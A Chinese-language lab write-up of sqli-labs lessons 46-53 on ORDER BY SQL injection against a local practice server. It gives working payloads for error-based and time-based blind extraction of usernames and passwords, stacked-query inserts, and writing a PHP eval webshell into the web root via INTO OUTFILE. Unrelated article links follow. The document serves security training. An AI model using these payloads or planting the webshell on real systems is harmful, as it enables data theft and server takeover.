sqli-labs lesson 46-53
写在前面:
关于 order by
例: select * from users order by 1 ; 将users表中的第1列按照从小到大依次排列
select * from users order by 2 ; 将users表中的第2列按照从小到大依次排列
...........
也可以在后面加desc或者asc指定降序或者升序
例: select * from users order by 1 desc 使用降序排列
right() 函数:
和之前盲注用的left函数类似,只是从右往左开始计数。
lines terminated xxx 文件以xxx为结尾
最后写好的文件会以666为结尾。
less 46
观察源码:
发现sql语句为:$sql = "SELECT * FROM users ORDER BY $id";
并且传入的值是sort 将sort赋值给id ,并且参数没有进行包裹
但是这里用union select 有错误 所以下面提供两个方法。
1.报错注入
利用updatexml函数进行报错注入
payload:?sort=1 and updatexml(1, concat(0x7e, (select concat_ws(0x7e,username,password) from security.users limit 0,1) ,0x7e) ,1) --+
2.延时注入
?sort=1 and if (left(database(),1)>'a',1,sleep(5)) --+
如果执行成功返回1,执行失败延时5s
剩下的步骤就是挨个名称和字母进行猜解即可。
less 47
与less 46的区别是参数加了单引号包裹,其余步骤一样。
less 48
与less 46相比没有了错误回显,只能使用延时注入。
less 49
与less 48相比 同样没有错误回显,只能使用延时注入,但是注意参数有了单引号包裹。
以上。也可用 into outfile方法 例如:
http://127.0.0.1/sqli-labs-master/Less-49/?sort=3' into outfile "C:\\phpstudy1\\PHPTutorial\\WWW\\sqli-labs-master\\Less-49\\mmm.php" --+
可以导出文件,我们下面尝试使用一句话木马进行操作。
?sort=3'and (select '<?php @eval($_POST[zzw]);?>') into outfile "C:\\phpstudy1\\PHPTutorial\\WWW\\sqli-labs-master\\Less-49\\mmm.php" --+
执行后发现导出的文件和之前的txt的文件没什么区别:
所以这时候就需要用到 lines terminated by 0xXXXXXXXXXXXXXXX
这里将我们上面的一句话木马转换为十六进制。
构造payload为:
?sort=3' into outfile "C:\\phpstudy1\\PHPTutorial\\WWW\\sqli-labs-master\\Less-49\\less-49.php" lines terminated by 0x273c3f70687020406576616c28245f504f53545b7a7a775d293b3f3e27 --+
成功写入了一句话木马,之后连接中国菜刀即可。
从less 50 - less 53 结合了堆叠注入和基于order by 语句的注入
因为这几关使用了mysql_fetch_assoc()函数,这个可以针对多个语句的数据库查询
less 50
1.延时注入:
构造payload:
http://127.0.0.1/sqli-labs-master/Less-50/?sort=3 and if( left(database(),1)>'a',1,sleep(2))
如果正确返回1可以回显查询的表,错误会一直转圈,基本也是猜解
2.报错注入:
构造payload:
?sort=1 and updatexml(1, concat(0x7e, (select concat_ws(0x7e,username,password) from security.users limit 0,1) ,0x7e) ,1) --+
3.使用一句话木马,原理和less 49一致
4.堆叠注入:
?sort=1;insert into users(id,username,password) values('50','less50','50') --+
less 51
与less 50不同的就是 参数被单引号包裹,并且也是有报错回显,注意闭合单引号即可。
less 52
与less 50不同的就是 参数没有被单引号包裹,没有错误回显不可以使用报错注入。注意闭合单引号即可,不再详细赘述
less 53
与less 52基本一致,只是参数被单引号包裹。不能使用报错注入
sqli-labs lesson 46-53的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- Linux系统inodes资源耗尽时的查找及删除
for i in {1..10}; do echo $i; ls > $i.log; done for i in $(seq 1 10); do echo $i; done 以上为for循环的使 ...
- 资源:mysql下载路径
mysql的下载路劲 https://dev.mysql.com/downloads/mysql/
- [源码解析] 深度学习分布式训练框架 horovod (16) --- 弹性训练之Worker生命周期
[源码解析] 深度学习分布式训练框架 horovod (16) --- 弹性训练之Worker生命周期 目录 [源码解析] 深度学习分布式训练框架 horovod (16) --- 弹性训练之Work ...
- Spring Boot(一):如何使用Spring Boot搭建一个Web应用
Spring Boot Spring Boot 是Spring团队旗下的一款Web 应用框架 其优势可以更快速的搭建一个Web应用 从根本上上来讲 Spring Boot并不是什么新的框架技术 而是在 ...
- C语言:3个数排序
#include <stdio.h> int main() { int a,b,c,t; /*定义4个基本整型变量a.b.c.t*/ printf("Please input a ...
- C语言:进制表示
二进制由 0 和 1 两个数字组成,使用时必须以0b或0B(不区分大小写)开头 八进制由 0~7 八个数字组成,使用时必须以0开头(注意是数字 0,不是字母 o) 十六进制由数字 0~9.字母 A~F ...
- 5Java基础整理
1.API:Application programming interface 举例:System类中的 public static void arraycopy(int[] src,int srcP ...
- 一定要收藏的5个优秀的SpringCloud开源项目
上一期为大家推荐了几个前端模板,没看过的点下面 一定要收藏的5个后台管理系统的前端框架 今天再为大家推荐几个优秀的SpringCloud开源脚手架项目,开箱即用,不管是学习还是开发新项目,都非常不错. ...
- 【洛谷P4933 大师】动态规划
题目描述 ljt12138首先建了n个特斯拉电磁塔,这些电塔排成一排,从左到右依次标号为1到n,第i个电塔的高度为h[i]. 建筑大师需要从中选出一些电塔,然后这些电塔就会缩到地下去.这时候,如果留在 ...
- 【强连通分量】Proving Equivalences
[题目链接]hdu-2767 [题目描述] Consider the following exercise, found in a generic linear algebra textbook. L ...